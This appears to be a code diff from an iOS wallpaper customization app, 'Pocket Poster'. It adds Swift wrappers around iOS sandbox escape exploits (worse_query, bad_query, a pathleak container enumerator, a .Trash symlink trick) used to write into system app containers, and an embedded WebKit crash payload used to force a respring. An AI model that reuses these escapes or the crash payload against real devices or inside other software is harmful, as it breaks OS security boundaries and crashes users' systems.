let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
if SymHandler.prefersSandboxEscape {
let destPath = SandboxEscape.carPlayCachePath(appHash: appHash)
do {
try SymHandler.writeFilesViaEscape(toDirectory: destPath, files: toRemove)
// remove local staging copies after successful write
for imgURL in toRemove {
try? FileManager.default.removeItem(at: imgURL)
}
} catch {
print("worse_query CarPlay failed, falling back to symlink: \(error)")
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
} else {
// legacy symlink + trashItem
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
try Data(count: 0).write(to: test)
}
}
@@ -6,13 +6,62 @@
//
import Foundation
import UIKit
class DownloadManager {
static func getWallpaperNameFromURL(string url: String) -> String {
class DownloadManager: ObservableObject {
static let shared = DownloadManager()
static let exploreLink = "https://cowabun.ga/wallpapers?pocketposter=true"
@Published var downloadURL: String? = nil
func getWallpaperNameFromURL(string url: String) -> String {
return String(url.split(separator: "/").last ?? "Unknown")
}
static func downloadFromURL(_ url: URL) async throws -> URL {
func startTendiesDownload(for url: URL) {
// prohibit to only tendies files
if !url.absoluteString.hasSuffix(".tendies") {
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
} else {
DispatchQueue.main.async {
self.downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(self.getWallpaperNameFromURL(string: self.downloadURL ?? "/Unknown"))"), onOK: {
self.downloadWallpaper()
}, noCancel: false)
}
}
}
func downloadWallpaper() {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
Task {
do {
let newURL = try await downloadFromURL(string: downloadURL!)
DispatchQueue.main.async {
PosterBoardManager.shared.selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.dismissAlert(animated: true)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
UIApplication.shared.alert(title: NSLocalizedString("Successfully downloaded wallpaper!", comment: ""), body: NSLocalizedString("Your downloaded .tendies will be on the Home page.", comment: "after successfully downloading tendies"))
})
}
} catch {
DispatchQueue.main.async {
Haptic.shared.notify(.error)
UIApplication.shared.dismissAlert(animated: true)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
})
}
}
}
}
func downloadFromURL(_ url: URL) async throws -> URL {
print("Downloading from \(url.absoluteString)")
let request = URLRequest(url: url)
@@ -24,12 +73,12 @@ class DownloadManager {
return newURL
}
static func downloadFromURL(string path: String) async throws -> URL {
func downloadFromURL(string path: String) async throws -> URL {
guard let url = URL(string: path) else { throw URLError(.unknown) }
return try await downloadFromURL(url)
}
static func copyTendies(from url: URL) throws -> URL {
func copyTendies(from url: URL) throws -> URL {
// scope the resource
let accessing = url.startAccessingSecurityScopedResource()
defer {
@@ -30,6 +30,11 @@ class PosterBoardManager: ObservableObject {
}
func setSystemLanguage(to new_lang: String) -> Bool {
// Load Preferences private frameworks if needed
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
var langManager: NSObject = NSObject()
if #available(iOS 18.0, *) {
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
@@ -46,6 +51,68 @@ class PosterBoardManager: ObservableObject {
return false
}
/// Wipe PosterBoard custom descriptor collections using worse_query (real delete).
/// Falls back to language-toggle trick on older exploit path.
func resetCollections(appHash: String) throws {
if SymHandler.prefersSandboxEscape {
try wipeDescriptorsViaEscape(appHash: appHash)
return
}
// Legacy: language toggle forces PosterBoard to rebuild collections
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
throw ApplyError.unexpected(info: "Could not read system language for reset.")
}
guard setSystemLanguage(to: lang) else {
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
}
}
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
private func wipeDescriptorsViaEscape(appHash: String) throws {
let ver = SymHandler.getExtensionVersion()
let extensionsRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
// Open parent with sandbox extension. A missing path simply means there
// is nothing to wipe yet.
guard let rootHandle = try? SandboxEscape.consume(path: extensionsRoot, create: true) else {
if !SandboxEscape.isAvailable {
throw SandboxEscapeError.unavailable
}
return
}
defer { rootHandle.release() }
let fm = FileManager.default
guard fm.fileExists(atPath: extensionsRoot) else {
return
}
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
var wiped = 0
for extName in extDirs {
let descriptorsPath = (extensionsRoot as NSString)
.appendingPathComponent(extName)
.appending("/descriptors")
// Ensure we hold an extension on the descriptors dir itself
let descHandle = try? SandboxEscape.consume(path: descriptorsPath, create: true)
defer { descHandle?.release() }
guard fm.fileExists(atPath: descriptorsPath) else { continue }
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
for item in items {
if item == "__MACOSX" || item.hasPrefix(".") { continue }
let full = (descriptorsPath as NSString).appendingPathComponent(item)
try? fm.removeItem(atPath: full)
wiped += 1
}
}
print("resetCollections: wiped \(wiped) descriptor item(s)")
}
func openPosterBoard() -> Bool {
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
@@ -59,6 +126,8 @@ class PosterBoardManager: ObservableObject {
private func unzipFile(at url: URL) throws -> URL {
let fileName = url.deletingPathExtension().lastPathComponent
// Replace spaces and %20 with underscores
let normalizedFileName = fileName.replacingOccurrences(of: "[ \\%20]", with: "_", options: .regularExpression)
let fileData = try Data(contentsOf: url)
let fileManager = FileManager()
@@ -67,7 +136,6 @@ class PosterBoardManager: ObservableObject {
if !FileManager.default.fileExists(atPath: path.path()) {
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
}
let url = path.appending(path: fileName)
// Remove All files in this directory
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
@@ -75,16 +143,17 @@ class PosterBoardManager: ObservableObject {
{
try FileManager.default.removeItem(at: fileUrl)
}
let zipURL = path.appending(path: normalizedFileName)
// Save our Zip file
try fileData.write(to: url, options: [.atomic])
try fileData.write(to: zipURL, options: [.atomic])
// Unzip the Zipped Up File
var destinationURL = path
if FileManager.default.fileExists(atPath: url.path())
if FileManager.default.fileExists(atPath: zipURL.path())
{
destinationURL.append(path: "directory")
try fileManager.unzipItem(at: url, to: destinationURL)
try fileManager.unzipItem(at: zipURL, to: destinationURL)
}
return destinationURL
@@ -102,7 +171,6 @@ class PosterBoardManager: ObservableObject {
if fileName.lowercased() == "container" {
// container support, find the extensions
let extDir = dir.appending(path: "Library/Application Support/PRBPosterExtensionDataStore/61/Extensions")
print(extDir.absoluteString)
var retList: [String: [URL]] = [:]
for ext in try FileManager.default.contentsOfDirectory(at: extDir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
let descrDir = ext.appendingPathComponent("descriptors")
@@ -210,20 +278,34 @@ class PosterBoardManager: ObservableObject {
SymHandler.cleanup()
}
let useSandboxEscape = SymHandler.prefersSandboxEscape
if useSandboxEscape {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "worse_query sandbox escape…")
}
for (ext, descriptorsList) in extList {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
var foldersToWrite: [URL] = []
for descriptors in descriptorsList {
// create the folder
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if descr.lastPathComponent != "__MACOSX" {
try randomizeWallpaperId(url: descr)
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.moveItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
foldersToWrite.append(descr)
}
}
}
if useSandboxEscape {
// iOS 26/27: direct write via the container_query sandbox extension
do {
try SymHandler.writeDescriptorsViaEscape(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
} catch {
// Fall back to legacy .Trash symlink if the escape path fails
print("worse_query apply failed, falling back to symlink: \(error)")
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
} else {
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
SymHandler.cleanup()
}
@@ -235,11 +317,23 @@ class PosterBoardManager: ObservableObject {
}
}
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
for descr in folders {
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.copyItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
}
}
static func clearCache() throws {
SymHandler.cleanup()
let docDir = SymHandler.getDocumentsDirectory()
for file in try FileManager.default.contentsOfDirectory(at: docDir, includingPropertiesForKeys: nil) {
try FileManager.default.removeItem(at: file)
if file.lastPathComponent != "CarPlayPhotos" {
try FileManager.default.removeItem(at: file)
}
}
}
}
@@ -0,0 +1,124 @@
//
// RespringHelper.swift
// Pocket Poster
//
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
//
import Foundation
import UIKit
import WebKit
import ObjectiveC
enum RespringHelper {
/// Keep the respring window alive until the process dies.
private static var stickyWindow: UIWindow?
private static var stickyWebView: WKWebView?
/// Direct crash payload (inner document from Mond — no outer iframe delay).
/// Credit: @neonmodder123 / Mond
private static let crashHTML = """
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
(function(){
var c=document.createElement('div');
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
document.body.appendChild(c);
for(var i=0;i<500;i++){
var d=document.createElement('div');
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
c.appendChild(d);
}
setInterval(function(){
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
},0);
})();
</script></body></html>
"""
/// Instant full respring (Mond path). Safe under LiveContainer.
static func respring() {
#if targetEnvironment(simulator)
print("respring skipped on simulator")
return
#else
// Must be main thread for UIWindow / WKWebView
if !Thread.isMainThread {
DispatchQueue.main.async { fireNow() }
return
}
fireNow()
#endif
}
static func respringNow() { respring() }
private static func fireNow() {
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
// 1) Kill any alerts instantly so nothing blocks rendering
currentUIAlertController?.dismiss(animated: false)
currentUIAlertController = nil
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
let config = WKWebViewConfiguration()
config.websiteDataStore = .nonPersistent()
let prefs = WKWebpagePreferences()
prefs.allowsContentJavaScript = true
config.defaultWebpagePreferences = prefs
// Shared process pool warms slightly faster on repeat
config.processPool = WKProcessPool()
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
webView.isOpaque = false
webView.backgroundColor = .black
webView.scrollView.isScrollEnabled = false
webView.scrollView.backgroundColor = .black
// Load payload immediately — don't wait for layout/appear
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
stickyWebView = webView
// 3) Slap it on a top-level window (no present animation, no host VC)
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
let window: UIWindow
if let scene {
window = UIWindow(windowScene: scene)
window.frame = scene.coordinateSpace.bounds
} else {
window = UIWindow(frame: UIScreen.main.bounds)
}
window.windowLevel = .alert + 100
window.backgroundColor = .black
window.isHidden = false
let host = UIViewController()
host.view.backgroundColor = .black
host.view.addSubview(webView)
webView.frame = host.view.bounds
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
window.rootViewController = host
window.makeKeyAndVisible()
stickyWindow = window
// Force a layout pass so WebKit starts compositing now
window.layoutIfNeeded()
webView.setNeedsLayout()
webView.layoutIfNeeded()
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
webView.loadHTMLString(crashHTML, baseURL: nil)
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|| Bundle.main.bundlePath.contains("LiveContainer")
if !inLC {
restartFrontboard()
restartBackboard()
}
}
}
+65 -3
View File
@@ -23,11 +23,23 @@ class SymHandler {
return getDocumentsDirectory()
}
static func getPosterBoardHashURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent("NuggetPosterBoardHash")
}
static func getCarPlayHashURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent("NuggetCarPlayWallpaperHash")
}
private static func getSymlinkURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
}
// MARK: Symlink Creation
/// Prefer worse_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
static var prefersSandboxEscape: Bool {
SandboxEscape.isAvailable
}
// MARK: Symlink Creation (legacy exploit for older iOS)
static func createSymlink(to path: String) throws -> URL {
// returns the url of the symlink
let symURL = getSymlinkURL()
@@ -43,10 +55,60 @@ class SymHandler {
return try createSymlink(to: "/var/mobile/Containers/Data/Application/\(appHash)")
}
static func getExtensionVersion() -> String {
if #available(iOS 17.0, *) {
return "61"
}
return "59"
}
static func createDescriptorsSymlink(appHash: String, ext: String) throws -> URL {
// create a symlink directly to the descriptors
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
let extVer = SymHandler.getExtensionVersion()
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
}
// MARK: Direct write via worse_query
/// Copy descriptor folders into PosterBoard descriptors using the sandbox escape.
static func writeDescriptorsViaEscape(appHash: String, ext: String, descriptorFolders: [URL]) throws {
let destPath = SandboxEscape.descriptorsPath(appHash: appHash, ext: ext)
print("worse_query writing to \(destPath)")
// Make sure the extension data store exists (PosterBoard creates it on boot).
let containerRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
try SandboxEscape.ensureDirectory(at: destPath, containerRoot: containerRoot)
let handle = try SandboxEscape.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for descr in descriptorFolders {
guard descr.lastPathComponent != "__MACOSX" else { continue }
let destName = UUID().uuidString
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: descr, to: destURL)
}
}
/// Copy files into an absolute directory under an app container via worse_query.
static func writeFilesViaEscape(toDirectory destPath: String, files: [URL]) throws {
try SandboxEscape.ensureDirectory(at: destPath)
let handle = try SandboxEscape.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for file in files {
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: file, to: destURL)
}
}
static func cleanup() {
+3 -2
View File
@@ -102,7 +102,8 @@ class VideoHandler {
print("Failed to get video track")
throw AVError(.decodeFailed)
}
let size = track.naturalSize.applying(track.preferredTransform)
let preferredTransform = track.preferredTransform
let size = track.naturalSize.applying(preferredTransform)
let width = Int(abs(size.width))
let height = Int(abs(size.height))
let fps = track.nominalFrameRate
@@ -145,7 +146,7 @@ class VideoHandler {
let filePathName = "assets/\(name)"
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: String(format: NSLocalizedString("Creating %@...", comment: "the message for the current image that is being generated"), filePathName))
let ciImage = CIImage(cvPixelBuffer: imageBuffer)
let ciImage = CIImage(cvPixelBuffer: imageBuffer).transformed(by: preferredTransform)
let context = CIContext()
if let cgImage = context.createCGImage(ciImage, from: ciImage.extent) {
if let img = cgImage.jpg {
+30
View File
@@ -0,0 +1,30 @@
//
// APIError.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
import Foundation
enum APIError: LocalizedError {
// Throw when cannot connect to server
case connectionFailed
// Throw when it fails to get the repo hash
case repoHashError
// Throw in all other cases
case unexpected(info: String)
public var errorDescription: String? {
switch self {
case .connectionFailed:
return NSLocalizedString("Could not connect to server", comment: "")
case .repoHashError:
return NSLocalizedString("Unable to obtain repo hash. Maybe update to the latest version?", comment: "")
case .unexpected(let info):
return info
}
}
}
@@ -0,0 +1,11 @@
//
// Pocket-Poster-Bridging-Header.h
// Pocket Poster
//
// Exposes C exploit helpers to Swift.
//
#import "worse_query.h"
#import "pathleak.h"
#import "bad_query.h"
#import "xpc_crash.h"
+430
View File
@@ -0,0 +1,430 @@
//
// SandboxEscape.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
// Falls back to the legacy bad_query route on iOS 26 when no App Group is
// available (unsigned / non-App-Group entitlements).
//
import Foundation
import Darwin
import Security
enum SandboxEscapeError: LocalizedError {
case invalidPath
case missingPath
case noAppGroup
case unavailable
case resolveFailed
case createFailed
case symlinkFailed
case outsideSandbox
case kernelRejected
case listFailed
case containerNotFound(String)
case directoryCreateFailed(String)
case unknown(Int64)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .noAppGroup:
return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
case .unavailable:
return "worse_query is unavailable on this OS/signing combination."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create the container query."
case .symlinkFailed:
return "Failed to create the App Group symlink."
case .outsideSandbox:
return "containermanager rejected the query (path outside sandbox)."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
case .directoryCreateFailed(let reason):
return "Could not create destination directory: \(reason)"
case .unknown(let code):
return "Sandbox escape failed with code \(code)."
}
}
static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -1: return .noAppGroup
case -2: return .resolveFailed
case -3: return .createFailed
case -4: return .symlinkFailed
case -5: return .outsideSandbox
case -6: return .kernelRejected
case -255: return .missingPath
default: return .unknown(code)
}
}
static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .createFailed
default: return .unknown(code)
}
}
}
enum SandboxEscapeBackend {
case worseQuery
case badQuery
}
/// RAII-style sandbox extension handle.
final class SandboxEscapeHandle {
private(set) var handle: Int64
let path: String
private let backend: SandboxEscapeBackend
init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
self.handle = handle
self.path = path
self.backend = backend
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
switch backend {
case .worseQuery:
worse_query_release(handle)
case .badQuery:
bad_query_release(handle)
}
handle = -1
}
}
enum SandboxEscape {
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - App Group
/// First App Group from our code signature that actually has a container.
/// nil means the app was signed without an App Group entitlement.
static let appGroupIdentifier: String? = {
guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }
let fm = FileManager.default
for group in groups {
if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
return group
}
}
return groups.first
}()
/// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
private static func entitledAppGroups() -> [String]? {
guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
return nil
}
defer { dlclose(handle) }
typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?
guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
return nil
}
let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)
guard let task = create(nil)?.takeRetainedValue() else { return nil }
let key = "com.apple.security.application-groups" as CFString
guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
return value as? [String]
}
// MARK: - Backend selection
/// worse_query when an App Group is available; otherwise the legacy
/// bad_query route on iOS 26 (it does not work on iOS 27+).
static let backend: SandboxEscapeBackend? = {
if let group = appGroupIdentifier {
// create_dir=true skips the sandbox-blocked lstat.
let handle = worse_query("/var/mobile", group, false, true)
if handle >= 0 {
worse_query_release(handle)
return .worseQuery
}
// -1 / -2 mean the group or the containermanager plumbing is missing.
if handle != -1 && handle != -2 {
return .worseQuery
}
}
if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
var probe = "/var/mobile".utf8CString.map { Int8($0) }
let handle = bad_query(&probe, true, nil, false)
if handle >= 0 {
bad_query_release(handle)
return .badQuery
}
// -3 / -4 / -254 mean the query ran but the path/token failed.
if handle == -3 || handle == -4 || handle == -254 {
return .badQuery
}
}
return nil
}()
static var isAvailable: Bool { backend != nil }
static var isUsingWorseQuery: Bool { backend == .worseQuery }
// MARK: - Consume / Release
/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path.
/// - create: Skip the existence check (needed for sandbox-blocked paths).
@discardableResult
static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
guard let backend else { throw SandboxEscapeError.unavailable }
switch backend {
case .worseQuery:
guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
// iOS 26 App Group containers need the alternate operation flags.
let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
&& path.contains("/var/mobile/Containers/Shared/AppGroup")
let handle = worse_query(path, group, altFlags, create)
guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)
case .badQuery:
var cPath = path.utf8CString.map { Int8($0) }
let handle = bad_query(&cPath, create, nil, false)
guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
}
}
// MARK: - Listing
/// Freshly allocated inode just below the current high-water mark.
/// APFS hands out increasing inode numbers, so this bounds a full scan.
private static func baselineInode() -> UInt64 {
let fm = FileManager.default
let url = fm.temporaryDirectory
.appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
do {
try Data("worse_query".utf8).write(to: url)
var info = stat()
let ok = url.path.withCString { stat($0, &info) } == 0
try? fm.removeItem(at: url)
if ok {
return info.st_ino + 1024
}
} catch {
print("(wq) baseline inode failed: \(error.localizedDescription)")
}
return 2_000_000
}
/// Enumerate the immediate children of `path` through fsgetpath.
static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
let limit = maxInode ?? baselineInode()
guard let paths = pathleak(path, limit) else {
throw SandboxEscapeError.listFailed
}
return paths
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
// Fast path: the container xattr.
if let token = try? consume(path: containerPath, create: true) {
defer { token.release() }
var buffer = [CChar](repeating: 0, count: 512)
let length = getxattr(
containerPath,
"com.apple.containermanager.identifier",
&buffer,
511,
0,
0
)
if length > 0 {
let bundleId = String(cString: buffer)
if !bundleId.isEmpty { return bundleId }
}
}
// Metadata plist fallback.
for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
let metaPath = (containerPath as NSString).appendingPathComponent(name)
guard let token = try? consume(path: metaPath, create: true) else { continue }
defer { token.release() }
if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
let bundleId = dict["MCMMetadataIdentifier"] as? String,
!bundleId.isEmpty {
return bundleId
}
}
return nil
}
static var defaultSearchRoots: [String] {
var roots = ["/var/mobile/Containers/Data/Application"]
if #available(iOS 27.0, *) {
roots.append("/var/containers/Data/System")
}
roots.append("/var/mobile/Containers/Data/InternalDaemon")
roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
return roots
}
/// Find an application container UUID for a bundle identifier, on-device.
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
guard isAvailable else { throw SandboxEscapeError.unavailable }
let roots = searchRoots ?? defaultSearchRoots
let inode = baselineInode()
for root in roots {
guard let children = pathleak(root, inode) else { continue }
for child in children {
guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
continue
}
return (child as NSString).lastPathComponent
}
}
throw SandboxEscapeError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
private static let cacheLock = NSLock()
private static var containerCache: [String: String] = [:]
/// Resolve the container root for a stored hash. iOS 27 keeps some system
/// app containers under /var/containers/Data/System, third-party apps
/// stay under /var/mobile/Containers/Data/Application.
static func applicationContainerPath(appHash: String) -> String {
let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
guard !hash.isEmpty else { return "" }
cacheLock.lock()
if let cached = containerCache[hash] {
cacheLock.unlock()
return cached
}
cacheLock.unlock()
var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
if #available(iOS 27.0, *) {
candidates.append("/var/containers/Data/System/\(hash)")
}
for candidate in candidates {
if let handle = try? consume(path: candidate, create: true) {
handle.release()
cacheLock.lock()
containerCache[hash] = candidate
cacheLock.unlock()
return candidate
}
}
return candidates[0]
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let version = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
return applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File operations under a container
/// Create `path` while holding an extension on the container root.
static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
let fm = FileManager.default
let root = containerRoot ?? inferredContainerRoot(for: path)
guard let root else {
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: root, create: true)
defer { handle.release() }
do {
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
} catch {
throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
}
}
/// Infer the container root from a path.
/// /var/mobile/Containers/Data/Application/<uuid>/...
/// /var/containers/Data/System/<uuid>/...
private static func inferredContainerRoot(for path: String) -> String? {
let components = path.split(separator: "/").map(String.init)
if components.count >= 6,
components[0] == "var",
components[1] == "mobile",
components[2] == "Containers",
components[3] == "Data" {
return "/" + components.prefix(6).joined(separator: "/")
}
if components.count >= 5,
components[0] == "var",
components[1] == "containers",
components[2] == "Data",
components[3] == "System" {
return "/" + components.prefix(5).joined(separator: "/")
}
return nil
}
}
+77
View File
@@ -0,0 +1,77 @@
//
// SelfTest.swift
// Pocket Poster
//
// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1.
// Used to verify worse_query and container discovery on-device.
//
import Foundation
import UIKit
enum SelfTest {
static var isEnabled: Bool {
ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1"
}
static func run() {
print("=== Pocket Poster self-test ===")
print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)")
